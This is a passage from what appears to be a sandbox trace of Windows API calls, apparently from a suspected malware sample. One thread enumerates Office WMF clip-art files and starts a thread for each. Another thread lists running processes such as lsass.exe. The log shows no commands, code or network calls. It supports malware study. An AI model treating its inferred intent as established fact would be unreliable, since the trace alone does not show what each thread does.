	[0283.861] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1
	[0283.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ecc
	[0284.204] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.204] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1
	[0284.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ed0
	[0284.430] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.430] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1
	[0284.431] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ed4
	[0284.434] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.435] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1
	[0284.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ed8
	[0284.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.440] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1
	[0284.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2edc
	[0284.442] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.443] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1
	[0284.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee0
	[0284.445] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.446] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1
	[0284.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee4
	[0284.447] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.448] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1
	[0284.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee8
	[0284.450] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.450] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1
	[0284.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eec
	[0284.452] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.452] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1
	[0284.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ef0
	[0284.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.454] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1
	[0284.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ef4
	[0284.456] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.457] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1
	[0284.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ef8
	[0284.458] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.459] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1
	[0284.459] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2efc
	[0284.461] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.462] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1
	[0284.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f00
	[0284.463] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.464] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1
	[0284.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f04
	[0284.466] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.466] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1
	[0284.466] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f08
	[0284.468] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.469] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1
	[0284.469] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0c
	[0284.684] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.685] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1
	[0284.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f1c
	[0284.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) 

Thread:
	id = 122
	os_tid = 0xbec

	[0148.559] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x17c
	[0149.227] Process32FirstW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0149.230] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0149.242] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0149.245] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0149.248] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0149.251] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0149.254] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0149.541] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0149.545] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0149.548] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0149.552] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.556] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.559] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.562] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.565] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.041] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0150.044] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.047] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.050] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0150.053] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0150.056] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0150.060] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0150.062] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.065] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0150.068] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.071] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0150.074] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
